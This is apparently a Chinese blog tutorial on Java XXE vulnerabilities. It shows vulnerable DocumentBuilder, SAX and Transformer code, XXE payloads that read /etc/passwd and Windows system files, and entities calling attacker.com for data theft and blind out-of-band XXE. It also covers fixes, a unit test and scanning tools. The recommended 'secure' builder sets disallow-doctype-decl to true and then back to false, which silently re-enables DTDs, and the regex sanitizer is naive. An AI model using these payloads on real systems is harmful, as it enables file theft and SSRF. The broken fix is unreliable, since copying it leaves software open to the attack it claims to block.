Java XXE案例

wen java案例 2

Java XXE (XML External Entity) 漏洞案例

基本概念

XXE (XML External Entity Injection) 是一种XML注入漏洞,攻击者可以利用外部实体读取服务器文件、执行SSRF攻击等。

Java XXE案例

漏洞示例代码

1 使用DocumentBuilderFactory(默认配置,存在漏洞)

import javax.xml.parsers.*;
import org.w3c.dom.*;
public class XXEVulnerable {
    public static void main(String[] args) throws Exception {
        String xml = "<?xml version=\"1.0\"?>"
            + "<!DOCTYPE foo ["
            + "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
            + "]>"
            + "<root><name>&xxe;</name></root>";
        // 存在漏洞 - 默认配置允许外部实体
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(new InputSource(new StringReader(xml)));
        // 读取文件内容
        String content = doc.getElementsByTagName("name").item(0).getTextContent();
        System.out.println("File content: " + content);
    }
}

2 使用SAXParser(存在漏洞)

import javax.xml.parsers.*;
import org.xml.sax.*;
import org.xml.sax.helpers.*;
public class SAXXEVulnerable {
    public static void main(String[] args) throws Exception {
        String xml = "<?xml version=\"1.0\"?>"
            + "<!DOCTYPE foo ["
            + "<!ENTITY xxe SYSTEM \"http://attacker.com/steal-data\">"
            + "]>"
            + "<root><name>&xxe;</name></root>";
        // 存在漏洞
        SAXParserFactory factory = SAXParserFactory.newInstance();
        SAXParser parser = factory.newSAXParser();
        XMLReader reader = parser.getXMLReader();
        reader.setContentHandler(new DefaultHandler() {
            public void characters(char[] ch, int start, int length) {
                System.out.println(new String(ch, start, length));
            }
        });
        reader.parse(new InputSource(new StringReader(xml)));
    }
}

3 使用Transformer(存在漏洞)

import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import javax.xml.transform.dom.*;
public class TransformerXEVulnerable {
    public static void main(String[] args) throws Exception {
        String xml = "<?xml version=\"1.0\"?>"
            + "<!DOCTYPE foo ["
            + "<!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">"
            + "]>"
            + "<root><data>&xxe;</data></root>";
        // 存在漏洞
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(new InputSource(new StringReader(xml)));
        TransformerFactory tf = TransformerFactory.newInstance();
        Transformer transformer = tf.newTransformer();
        StringWriter writer = new StringWriter();
        transformer.transform(new DOMSource(doc), new StreamResult(writer));
        System.out.println("Output: " + writer.toString());
    }
}

XXE攻击类型

1 文件读取攻击

<!-- 读取Linux文件 -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- 读取Windows文件 -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>

2 SSRF攻击

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>

3 Blind XXE(带外攻击)

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

安全修复方案

1 DocumentBuilderFactory安全配置

public static DocumentBuilder createSecureBuilder() throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    // 禁用外部实体
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    // 可选:禁用DTD
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
    return factory.newDocumentBuilder();
}

2 SAXParser安全配置

public static SAXParser createSecureSAXParser() throws Exception {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory.newSAXParser();
}

3 使用安全的XML解析库

// 使用JDOM2
import org.jdom2.*;
import org.jdom2.input.*;
public class SecureXMLParser {
    public static void parseXML(String xmlContent) throws Exception {
        SAXBuilder builder = new SAXBuilder();
        // 禁用外部实体
        builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        Document doc = builder.build(new StringReader(xmlContent));
    }
}

4 使用白名单验证

public class SecureXMLValidator {
    public static String sanitizeXML(String xml) {
        // 移除DTD声明
        String sanitized = xml.replaceAll("<!DOCTYPE[^>]*>", "");
        // 移除外部实体引用
        sanitized = sanitized.replaceAll("&[^;]*;", "");
        return sanitized;
    }
    public static boolean validateXML(String xml) {
        // 检查XML是否包含DTD
        if (xml.contains("<!DOCTYPE") || xml.contains("<!ENTITY")) {
            return false;
        }
        // 检查是否包含外部实体引用
        if (xml.contains("SYSTEM") || xml.contains("PUBLIC")) {
            return false;
        }
        return true;
    }
}

XML解析器配置对比

解析器 默认安全 修复方法
DocumentBuilderFactory 不安全(Java 8及以下) 设置FEATURE
SAXParser 不安全 设置FEATURE
TransformerFactory 不安全 设置FEATURE
JDOM 不安全 使用SAXBuilder
DOM4J 不安全 配置DocumentFactory
javax.xml.stream.XMLInputFactory (StAX) 部分安全 设置属性

测试用例

1 单元测试

import org.junit.Test;
import static org.junit.Assert.*;
public class XXETest {
    @Test(expected = Exception.class)
    public void testXXEPrevention() throws Exception {
        String xml = "<?xml version=\"1.0\"?>"
            + "<!DOCTYPE foo ["
            + "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
            + "]>"
            + "<root><name>&xxe;</name></root>";
        // 使用安全配置
        DocumentBuilder builder = createSecureBuilder();
        builder.parse(new InputSource(new StringReader(xml)));
    }
    @Test
    public void testSafeXMLParsing() throws Exception {
        String xml = "<root><name>test</name></root>";
        DocumentBuilder builder = createSecureBuilder();
        Document doc = builder.parse(new InputSource(new StringReader(xml)));
        assertEquals("test", doc.getElementsByTagName("name").item(0).getTextContent());
    }
}

最佳实践总结

  1. 禁用DTD:如果不需要DTD,直接禁用
  2. 禁用外部实体:配置解析器禁止外部实体
  3. 使用白名单:验证XML内容,阻止恶意输入
  4. 升级JDK版本:Java 8u31+、Java 9+ 默认更安全
  5. 代码审计:使用静态分析工具检测XXE漏洞
  6. 输入验证:对所有XML输入进行严格验证

检测工具

# 使用findsecbugs检测
findsecbugs -progress -html -output report.html target/classes/
# 使用OWASP Dependency Check
dependency-check --scan target/ --format HTML

这些案例展示了Java中XXE漏洞的各种形式及其修复方法,在生产环境中,确保所有XML解析器都已正确配置以防御外部实体攻击。

抱歉,评论功能暂时关闭!